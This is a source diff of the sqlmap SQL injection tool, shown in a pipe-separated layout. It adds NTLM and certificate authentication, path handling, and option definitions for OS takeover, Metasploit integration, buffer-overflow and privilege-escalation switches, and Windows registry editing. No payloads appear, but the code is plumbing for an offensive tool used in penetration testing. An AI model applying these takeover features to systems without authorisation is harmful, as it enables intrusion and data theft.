|
errMsg = "HTTP authentication type value must be "
|
||||||
errMsg = "HTTP Authentication type value must be "
|
errMsg += "Basic, Digest or NTLM"
|
||||||
errMsg += "Basic or Digest"
|
raise sqlmapSyntaxException, errMsg
|
||||||
raise sqlmapSyntaxException, errMsg
|
|
||||||
|
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
||||||
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
|
||||||
|
if not aCredRegExp:
|
||||||
if not aCredRegExp:
|
errMsg = "HTTP authentication credentials value must be "
|
||||||
errMsg = "HTTP Authentication credentials value must be "
|
errMsg += "in format username:password"
|
||||||
errMsg += "in format username:password"
|
raise sqlmapSyntaxException, errMsg
|
||||||
raise sqlmapSyntaxException, errMsg
|
|
||||||
|
authUsername = aCredRegExp.group(1)
|
||||||
authUsername = aCredRegExp.group(1)
|
authPassword = aCredRegExp.group(2)
|
||||||
authPassword = aCredRegExp.group(2)
|
|
||||||
|
passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
|
||||||
passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
|
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
|
||||||
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
|
|
||||||
|
if aTypeLower == "basic":
|
||||||
if aTypeLower == "basic":
|
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
||||||
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
|
||||||
elif aTypeLower == "digest":
|
elif aTypeLower == "digest":
|
||||||
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
||||||
|
|
||||||
|
elif aTypeLower == "ntlm":
|
||||||
|
try:
|
||||||
|
from ntlm import HTTPNtlmAuthHandler
|
||||||
|
except ImportError, _:
|
||||||
|
errMsg = "sqlmap requires Python NTLM third-party library "
|
||||||
|
errMsg += "in order to authenticate via NTLM, "
|
||||||
|
errMsg += "http://code.google.com/p/python-ntlm/"
|
||||||
|
raise sqlmapMissingDependence, errMsg
|
||||||
|
|
||||||
|
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
|
||||||
|
else:
|
||||||
|
debugMsg = "setting the HTTP(s) authentication certificate"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
aCertRegExp = re.search("^(.+?),\s*(.+?)$", conf.aCert)
|
||||||
|
|
||||||
|
if not aCertRegExp:
|
||||||
|
errMsg = "HTTP authentication certificate option "
|
||||||
|
errMsg += "must be in format key_file,cert_file"
|
||||||
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
|
#os.path.expanduser for support of paths with ~
|
||||||
|
key_file = os.path.expanduser(aCertRegExp.group(1))
|
||||||
|
cert_file = os.path.expanduser(aCertRegExp.group(2))
|
||||||
|
|
||||||
|
for file in (key_file, cert_file):
|
||||||
|
if not os.path.exists(file):
|
||||||
|
errMsg = "File '%s' doesn't exist" % file
|
||||||
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
|
authHandler = HTTPSCertAuthHandler(key_file, cert_file)
|
||||||
|
|
||||||
def __setHTTPMethod():
|
def __setHTTPMethod():
|
||||||
"""
|
"""
|
||||||
@@ -386,8 +622,10 @@ def __setHTTPMethod():
|
|||||||
debugMsg = "setting the HTTP method to %s" % conf.method
|
debugMsg = "setting the HTTP method to %s" % conf.method
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPExtraHeaders():
|
def __setHTTPExtraHeaders():
|
||||||
|
if conf.hostname:
|
||||||
|
conf.httpHeaders.append(("Host", conf.hostname))
|
||||||
|
|
||||||
if conf.headers:
|
if conf.headers:
|
||||||
debugMsg = "setting extra HTTP headers"
|
debugMsg = "setting extra HTTP headers"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
@@ -405,7 +643,6 @@ def __setHTTPExtraHeaders():
|
|||||||
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
|
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
|
||||||
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
|
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
|
||||||
|
|
||||||
|
|
||||||
def __defaultHTTPUserAgent():
|
def __defaultHTTPUserAgent():
|
||||||
"""
|
"""
|
||||||
@return: default sqlmap HTTP User-Agent header
|
@return: default sqlmap HTTP User-Agent header
|
||||||
@@ -414,6 +651,12 @@ def __defaultHTTPUserAgent():
|
|||||||
|
|
||||||
return "%s (%s)" % (VERSION_STRING, SITE)
|
return "%s (%s)" % (VERSION_STRING, SITE)
|
||||||
|
|
||||||
|
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
|
||||||
|
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
|
||||||
|
|
||||||
|
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
|
||||||
|
# updated at March 2009
|
||||||
|
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
|
||||||
|
|
||||||
def __setHTTPUserAgent():
|
def __setHTTPUserAgent():
|
||||||
"""
|
"""
|
||||||
@@ -478,7 +721,6 @@ def __setHTTPUserAgent():
|
|||||||
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
|
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPReferer():
|
def __setHTTPReferer():
|
||||||
"""
|
"""
|
||||||
Set the HTTP Referer
|
Set the HTTP Referer
|
||||||
@@ -490,7 +732,6 @@ def __setHTTPReferer():
|
|||||||
|
|
||||||
conf.httpHeaders.append(("Referer", conf.referer))
|
conf.httpHeaders.append(("Referer", conf.referer))
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPCookies():
|
def __setHTTPCookies():
|
||||||
"""
|
"""
|
||||||
Set the HTTP Cookie header
|
Set the HTTP Cookie header
|
||||||
@@ -499,11 +740,12 @@ def __setHTTPCookies():
|
|||||||
if conf.cookie:
|
if conf.cookie:
|
||||||
debugMsg = "setting the HTTP Cookie header"
|
debugMsg = "setting the HTTP Cookie header"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
conf.cookie = sanitizeCookie(conf.cookie, True)
|
||||||
|
|
||||||
conf.httpHeaders.append(("Connection", "Keep-Alive"))
|
conf.httpHeaders.append(("Connection", "Keep-Alive"))
|
||||||
conf.httpHeaders.append(("Cookie", conf.cookie))
|
conf.httpHeaders.append(("Cookie", conf.cookie))
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPTimeout():
|
def __setHTTPTimeout():
|
||||||
"""
|
"""
|
||||||
Set the HTTP timeout
|
Set the HTTP timeout
|
||||||
@@ -522,11 +764,10 @@ def __setHTTPTimeout():
|
|||||||
|
|
||||||
conf.timeout = 3.0
|
conf.timeout = 3.0
|
||||||
else:
|
else:
|
||||||
conf.timeout = 10.0
|
conf.timeout = 30.0
|
||||||
|
|
||||||
socket.setdefaulttimeout(conf.timeout)
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
|
|
||||||
|
|
||||||
def __cleanupOptions():
|
def __cleanupOptions():
|
||||||
"""
|
"""
|
||||||
Cleanup configuration attributes.
|
Cleanup configuration attributes.
|
||||||
@@ -556,10 +797,24 @@ def __cleanupOptions():
|
|||||||
if conf.delay:
|
if conf.delay:
|
||||||
conf.delay = float(conf.delay)
|
conf.delay = float(conf.delay)
|
||||||
|
|
||||||
|
if conf.rFile:
|
||||||
|
conf.rFile = os.path.normpath(conf.rFile.replace("\\", "/"))
|
||||||
|
|
||||||
|
if conf.wFile:
|
||||||
|
conf.wFile = os.path.normpath(conf.wFile.replace("\\", "/"))
|
||||||
|
|
||||||
|
if conf.dFile:
|
||||||
|
conf.dFile = os.path.normpath(conf.dFile.replace("\\", "/"))
|
||||||
|
|
||||||
|
if conf.msfPath:
|
||||||
|
conf.msfPath = os.path.normpath(conf.msfPath.replace("\\", "/"))
|
||||||
|
|
||||||
|
if conf.tmpPath:
|
||||||
|
conf.tmpPath = os.path.normpath(conf.tmpPath.replace("\\", "/"))
|
||||||
|
|
||||||
if conf.googleDork or conf.list:
|
if conf.googleDork or conf.list:
|
||||||
conf.multipleTargets = True
|
conf.multipleTargets = True
|
||||||
|
|
||||||
|
|
||||||
def __setConfAttributes():
|
def __setConfAttributes():
|
||||||
"""
|
"""
|
||||||
This function set some needed attributes into the configuration
|
This function set some needed attributes into the configuration
|
||||||
@@ -570,26 +825,29 @@ def __setConfAttributes():
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.cj = None
|
conf.cj = None
|
||||||
conf.contentLengths = []
|
|
||||||
conf.dbmsHandler = None
|
conf.dbmsHandler = None
|
||||||
conf.dumpPath = None
|
conf.dumpPath = None
|
||||||
conf.equalLines = []
|
|
||||||
conf.httpHeaders = []
|
conf.httpHeaders = []
|
||||||
conf.hostname = None
|
conf.hostname = None
|
||||||
conf.loggedToOut = None
|
conf.loggedToOut = None
|
||||||
|
conf.matchRatio = None
|
||||||
|
conf.md5hash = None
|
||||||
conf.multipleTargets = False
|
conf.multipleTargets = False
|
||||||
conf.outputPath = None
|
conf.outputPath = None
|
||||||
conf.paramDict = {}
|
conf.paramDict = {}
|
||||||
conf.parameters = {}
|
conf.parameters = {}
|
||||||
|
conf.paramFalseCond = False
|
||||||
conf.paramNegative = False
|
conf.paramNegative = False
|
||||||
conf.path = None
|
conf.path = None
|
||||||
conf.port = None
|
conf.port = None
|
||||||
conf.retries = 0
|
conf.retriesCount = 0
|
||||||
conf.scheme = None
|
conf.scheme = None
|
||||||
|
#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
|
||||||
|
conf.seqMatcher = difflib.SequenceMatcher(None)
|
||||||
conf.sessionFP = None
|
conf.sessionFP = None
|
||||||
conf.start = True
|
conf.start = True
|
||||||
conf.threadException = False
|
conf.threadException = False
|
||||||
|
conf.wFileType = None
|
||||||
|
|
||||||
def __setKnowledgeBaseAttributes():
|
def __setKnowledgeBaseAttributes():
|
||||||
"""
|
"""
|
||||||
@@ -601,18 +859,31 @@ def __setKnowledgeBaseAttributes():
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
kb.absFilePaths = set()
|
kb.absFilePaths = set()
|
||||||
kb.defaultResult = None
|
kb.bannerFp = advancedDict()
|
||||||
kb.docRoot = None
|
kb.data = advancedDict()
|
||||||
|
|
||||||
|
# Basic back-end DBMS fingerprint
|
||||||
kb.dbms = None
|
kb.dbms = None
|
||||||
kb.dbmsDetected = False
|
kb.dbmsDetected = False
|
||||||
kb.dbmsVersion = None
|
|
||||||
kb.bannerFp = {}
|
# Active (extensive) back-end DBMS fingerprint
|
||||||
|
kb.dbmsVersion = [ "Unknown" ]
|
||||||
|
|
||||||
|
kb.dep = None
|
||||||
|
kb.docRoot = None
|
||||||
kb.headersCount = 0
|
kb.headersCount = 0
|
||||||
kb.headersFp = {}
|
kb.headersFp = {}
|
||||||
kb.htmlFp = []
|
kb.htmlFp = []
|
||||||
kb.injParameter = None
|
kb.injParameter = None
|
||||||
kb.injPlace = None
|
kb.injPlace = None
|
||||||
kb.injType = None
|
kb.injType = None
|
||||||
|
|
||||||
|
# Back-end DBMS underlying operating system fingerprint via banner (-b)
|
||||||
|
# parsing
|
||||||
|
kb.os = None
|
||||||
|
kb.osVersion = None
|
||||||
|
kb.osSP = None
|
||||||
|
|
||||||
kb.parenthesis = None
|
kb.parenthesis = None
|
||||||
kb.resumedQueries = {}
|
kb.resumedQueries = {}
|
||||||
kb.stackedTest = None
|
kb.stackedTest = None
|
||||||
@@ -622,7 +893,6 @@ def __setKnowledgeBaseAttributes():
|
|||||||
kb.unionCount = None
|
kb.unionCount = None
|
||||||
kb.unionPosition = None
|
kb.unionPosition = None
|
||||||
|
|
||||||
|
|
||||||
def __saveCmdline():
|
def __saveCmdline():
|
||||||
"""
|
"""
|
||||||
Saves the command line options on a sqlmap configuration INI file
|
Saves the command line options on a sqlmap configuration INI file
|
||||||
@@ -635,6 +905,7 @@ def __saveCmdline():
|
|||||||
debugMsg = "saving command line options on a sqlmap configuration INI file"
|
debugMsg = "saving command line options on a sqlmap configuration INI file"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
config = ConfigParser()
|
||||||
userOpts = {}
|
userOpts = {}
|
||||||
|
|
||||||
for family in optDict.keys():
|
for family in optDict.keys():
|
||||||
@@ -645,15 +916,13 @@ def __saveCmdline():
|
|||||||
if option in optionData:
|
if option in optionData:
|
||||||
userOpts[family].append((option, value, optionData[option]))
|
userOpts[family].append((option, value, optionData[option]))
|
||||||
|
|
||||||
confFP = open(paths.SQLMAP_CONFIG, "w")
|
|
||||||
|
|
||||||
for family, optionData in userOpts.items():
|
for family, optionData in userOpts.items():
|
||||||
confFP.write("[%s]\n" % family)
|
config.add_section(family)
|
||||||
|
|
||||||
optionData.sort()
|
optionData.sort()
|
||||||
|
|
||||||
for option, value, datatype in optionData:
|
for option, value, datatype in optionData:
|
||||||
if value == None:
|
if value is None:
|
||||||
if datatype == "boolean":
|
if datatype == "boolean":
|
||||||
value = "False"
|
value = "False"
|
||||||
elif datatype in ( "integer", "float" ):
|
elif datatype in ( "integer", "float" ):
|
||||||
@@ -669,23 +938,20 @@ def __saveCmdline():
|
|||||||
if isinstance(value, str):
|
if isinstance(value, str):
|
||||||
value = value.replace("\n", "\n ")
|
value = value.replace("\n", "\n ")
|
||||||
|
|
||||||
confFP.write("%s = %s\n" % (option, value))
|
config.set(family, option, value)
|
||||||
|
|
||||||
confFP.write("\n")
|
confFP = open(paths.SQLMAP_CONFIG, "wb")
|
||||||
|
config.write(confFP)
|
||||||
confFP.flush()
|
|
||||||
confFP.close()
|
|
||||||
|
|
||||||
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setVerbosity():
|
def __setVerbosity():
|
||||||
"""
|
"""
|
||||||
This function set the verbosity of sqlmap output messages.
|
This function set the verbosity of sqlmap output messages.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.verbose == None:
|
if conf.verbose is None:
|
||||||
conf.verbose = 1
|
conf.verbose = 1
|
||||||
|
|
||||||
conf.verbose = int(conf.verbose)
|
conf.verbose = int(conf.verbose)
|
||||||
@@ -702,7 +968,6 @@ def __setVerbosity():
|
|||||||
elif conf.verbose >= 4:
|
elif conf.verbose >= 4:
|
||||||
logger.setLevel(8)
|
logger.setLevel(8)
|
||||||
|
|
||||||
|
|
||||||
def __mergeOptions(inputOptions):
|
def __mergeOptions(inputOptions):
|
||||||
"""
|
"""
|
||||||
Merge command line options with configuration file options.
|
Merge command line options with configuration file options.
|
||||||
@@ -714,10 +979,14 @@ def __mergeOptions(inputOptions):
|
|||||||
if inputOptions.configFile:
|
if inputOptions.configFile:
|
||||||
configFileParser(inputOptions.configFile)
|
configFileParser(inputOptions.configFile)
|
||||||
|
|
||||||
for key, value in inputOptions.__dict__.items():
|
if hasattr(inputOptions, "items"):
|
||||||
if not conf.has_key(key) or conf[key] == None or value != None:
|
inputOptionsItems = inputOptions.items()
|
||||||
conf[key] = value
|
else:
|
||||||
|
inputOptionsItems = inputOptions.__dict__.items()
|
||||||
|
|
||||||
|
for key, value in inputOptionsItems:
|
||||||
|
if not conf.has_key(key) or conf[key] is None or value is not None:
|
||||||
|
conf[key] = value
|
||||||
|
|
||||||
def init(inputOptions=advancedDict()):
|
def init(inputOptions=advancedDict()):
|
||||||
"""
|
"""
|
||||||
@@ -731,6 +1000,9 @@ def init(inputOptions=advancedDict()):
|
|||||||
__setConfAttributes()
|
__setConfAttributes()
|
||||||
__setKnowledgeBaseAttributes()
|
__setKnowledgeBaseAttributes()
|
||||||
__cleanupOptions()
|
__cleanupOptions()
|
||||||
|
|
||||||
|
parseTargetUrl()
|
||||||
|
|
||||||
__setHTTPTimeout()
|
__setHTTPTimeout()
|
||||||
__setHTTPCookies()
|
__setHTTPCookies()
|
||||||
__setHTTPReferer()
|
__setHTTPReferer()
|
||||||
@@ -741,6 +1013,10 @@ def init(inputOptions=advancedDict()):
|
|||||||
__setHTTPProxy()
|
__setHTTPProxy()
|
||||||
__setThreads()
|
__setThreads()
|
||||||
__setDBMS()
|
__setDBMS()
|
||||||
|
__setOS()
|
||||||
|
__setUnionTech()
|
||||||
|
__setWriteFile()
|
||||||
|
__setMetasploit()
|
||||||
__setGoogleDorking()
|
__setGoogleDorking()
|
||||||
__setMultipleTargets()
|
__setMultipleTargets()
|
||||||
__urllib2Opener()
|
__urllib2Opener()
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,52 +22,54 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
optDict = {
|
optDict = {
|
||||||
# Family: { "parameter_name": "parameter_datatype" },
|
# Family: { "parameter_name": "parameter_datatype" },
|
||||||
"Target": {
|
"Target": {
|
||||||
"url": "string",
|
"url": "string",
|
||||||
"list": "string",
|
"list": "string",
|
||||||
"googleDork": "string",
|
"googleDork": "string"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Request": {
|
"Request": {
|
||||||
"method": "string",
|
"method": "string",
|
||||||
"data": "string",
|
"data": "string",
|
||||||
"cookie": "string",
|
"cookie": "string",
|
||||||
|
"dropSetCookie": "boolean",
|
||||||
"referer": "string",
|
"referer": "string",
|
||||||
"agent": "string",
|
"agent": "string",
|
||||||
"userAgentsFile": "string",
|
"userAgentsFile": "string",
|
||||||
"headers": "string",
|
"headers": "string",
|
||||||
"aType": "string",
|
"aType": "string",
|
||||||
"aCred": "string",
|
"aCred": "string",
|
||||||
|
"aCert": "string",
|
||||||
"proxy": "string",
|
"proxy": "string",
|
||||||
"threads": "integer",
|
"threads": "integer",
|
||||||
"delay": "float",
|
"delay": "float",
|
||||||
"timeout": "float",
|
"timeout": "float"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Injection": {
|
"Injection": {
|
||||||
"testParameter": "string",
|
"testParameter": "string",
|
||||||
"dbms": "string",
|
"dbms": "string",
|
||||||
|
"os": "string",
|
||||||
"prefix": "string",
|
"prefix": "string",
|
||||||
"postfix": "string",
|
"postfix": "string",
|
||||||
"string": "string",
|
"string": "string",
|
||||||
"regexp": "string",
|
"regexp": "string",
|
||||||
"eString": "string",
|
"eString": "string",
|
||||||
"eRegexp": "string",
|
"eRegexp": "string"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Techniques": {
|
"Techniques": {
|
||||||
"stackedTest": "boolean",
|
"stackedTest": "boolean",
|
||||||
"timeTest": "boolean",
|
"timeTest": "boolean",
|
||||||
"unionTest": "boolean",
|
"unionTest": "boolean",
|
||||||
"unionUse": "boolean",
|
"uTech": "string",
|
||||||
|
"unionUse": "boolean"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Fingerprint": {
|
"Fingerprint": {
|
||||||
"extensiveFp": "boolean",
|
"extensiveFp": "boolean"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Enumeration": {
|
"Enumeration": {
|
||||||
@@ -90,24 +92,51 @@ optDict = {
|
|||||||
"excludeSysDbs": "boolean",
|
"excludeSysDbs": "boolean",
|
||||||
"limitStart": "integer",
|
"limitStart": "integer",
|
||||||
"limitStop": "integer",
|
"limitStop": "integer",
|
||||||
|
"firstChar": "integer",
|
||||||
|
"lastChar": "integer",
|
||||||
"query": "string",
|
"query": "string",
|
||||||
"sqlShell": "boolean",
|
"sqlShell": "boolean"
|
||||||
|
},
|
||||||
|
|
||||||
|
"User-defined function": {
|
||||||
|
"udfInject": "boolean",
|
||||||
|
"shLib": "string"
|
||||||
},
|
},
|
||||||
|
|
||||||
"File system": {
|
"File system": {
|
||||||
"rFile": "string",
|
"rFile": "string",
|
||||||
"wFile": "string",
|
"wFile": "string",
|
||||||
|
"dFile": "string"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Takeover": {
|
"Takeover": {
|
||||||
|
"osCmd": "string",
|
||||||
"osShell": "boolean",
|
"osShell": "boolean",
|
||||||
|
"osPwn": "boolean",
|
||||||
|
"osSmb": "boolean",
|
||||||
|
"osBof": "boolean",
|
||||||
|
"privEsc": "boolean",
|
||||||
|
"msfPath": "string",
|
||||||
|
"tmpPath": "string"
|
||||||
|
},
|
||||||
|
|
||||||
|
"Windows": {
|
||||||
|
"regRead": "boolean",
|
||||||
|
"regAdd": "boolean",
|
||||||
|
"regDel": "boolean",
|
||||||
|
"regKey": "string",
|
||||||
|
"regVal": "string",
|
||||||
|
"regData": "string",
|
||||||
|
"regType": "string"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Miscellaneous": {
|
"Miscellaneous": {
|
||||||
"eta": "boolean",
|
|
||||||
"verbose": "integer",
|
|
||||||
"updateAll": "boolean",
|
|
||||||
"sessionFile": "string",
|
"sessionFile": "string",
|
||||||
|
"eta": "boolean",
|
||||||
|
"googlePage": "integer",
|
||||||
|
"updateAll": "boolean",
|
||||||
"batch": "boolean",
|
"batch": "boolean",
|
||||||
|
"cleanup": "boolean",
|
||||||
|
"verbose": "integer"
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
|
|
||||||
|
|
||||||
class ProgressBar:
|
class ProgressBar:
|
||||||
"""
|
"""
|
||||||
This class defines methods to update and draw a progress bar
|
This class defines methods to update and draw a progress bar
|
||||||
@@ -42,7 +39,6 @@ class ProgressBar:
|
|||||||
self.__amount = 0
|
self.__amount = 0
|
||||||
self.update()
|
self.update()
|
||||||
|
|
||||||
|
|
||||||
def __convertSeconds(self, value):
|
def __convertSeconds(self, value):
|
||||||
seconds = value
|
seconds = value
|
||||||
minutes = seconds / 60
|
minutes = seconds / 60
|
||||||
@@ -50,7 +46,6 @@ class ProgressBar:
|
|||||||
|
|
||||||
return "%.2d:%.2d" % (minutes, seconds)
|
return "%.2d:%.2d" % (minutes, seconds)
|
||||||
|
|
||||||
|
|
||||||
def update(self, newAmount=0):
|
def update(self, newAmount=0):
|
||||||
"""
|
"""
|
||||||
This method updates the progress bar
|
This method updates the progress bar
|
||||||
@@ -87,7 +82,6 @@ class ProgressBar:
|
|||||||
percentString = str(percentDone) + "%"
|
percentString = str(percentDone) + "%"
|
||||||
self.__progBar = "%s %s" % (percentString, self.__progBar)
|
self.__progBar = "%s %s" % (percentString, self.__progBar)
|
||||||
|
|
||||||
|
|
||||||
def draw(self, eta=0):
|
def draw(self, eta=0):
|
||||||
"""
|
"""
|
||||||
This method draws the progress bar if it has changed
|
This method draws the progress bar if it has changed
|
||||||
@@ -102,7 +96,6 @@ class ProgressBar:
|
|||||||
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
|
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
|
||||||
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
|
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
|
||||||
|
|
||||||
|
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
"""
|
"""
|
||||||
This method returns the progress bar string
|
This method returns the progress bar string
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -27,13 +27,11 @@ In addition to normal readline stuff, this module provides haveReadline
|
|||||||
boolean and _outputfile variable used in genutils.
|
boolean and _outputfile variable used in genutils.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
|
from lib.core.settings import PLATFORM
|
||||||
|
|
||||||
try:
|
try:
|
||||||
from readline import *
|
from readline import *
|
||||||
@@ -49,7 +47,7 @@ except ImportError:
|
|||||||
except ImportError:
|
except ImportError:
|
||||||
haveReadline = False
|
haveReadline = False
|
||||||
|
|
||||||
if sys.platform == 'win32' and haveReadline:
|
if IS_WIN and haveReadline:
|
||||||
try:
|
try:
|
||||||
_outputfile=_rl.GetOutputFile()
|
_outputfile=_rl.GetOutputFile()
|
||||||
except AttributeError:
|
except AttributeError:
|
||||||
@@ -63,7 +61,7 @@ if sys.platform == 'win32' and haveReadline:
|
|||||||
# Thanks to Boyd Waters for this patch.
|
# Thanks to Boyd Waters for this patch.
|
||||||
uses_libedit = False
|
uses_libedit = False
|
||||||
|
|
||||||
if sys.platform == 'darwin' and haveReadline:
|
if PLATFORM == 'darwin' and haveReadline:
|
||||||
import commands
|
import commands
|
||||||
|
|
||||||
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
|
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
|
||||||
@@ -78,7 +76,6 @@ if sys.platform == 'darwin' and haveReadline:
|
|||||||
|
|
||||||
uses_libedit = True
|
uses_libedit = True
|
||||||
|
|
||||||
|
|
||||||
# the clear_history() function was only introduced in Python 2.4 and is
|
# the clear_history() function was only introduced in Python 2.4 and is
|
||||||
# actually optional in the readline API, so we must explicitly check for its
|
# actually optional in the readline API, so we must explicitly check for its
|
||||||
# existence. Some known platforms actually don't have it. This thread:
|
# existence. Some known platforms actually don't have it. This thread:
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
